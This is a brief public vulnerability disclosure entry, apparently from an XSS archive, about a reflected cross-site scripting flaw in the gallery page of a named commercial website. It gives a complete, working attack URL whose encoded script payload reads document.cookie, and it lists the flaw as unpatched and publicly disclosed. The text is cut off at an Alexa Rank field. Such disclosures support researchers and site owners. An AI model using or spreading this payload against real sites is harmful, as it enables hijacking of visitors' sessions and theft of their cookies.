bigcoupe.com XSS vulnerability

Vulnerable URL: http://www.bigcoupe.com/gallery.php?id=20id=0%22%3E%3Cb%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/b%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...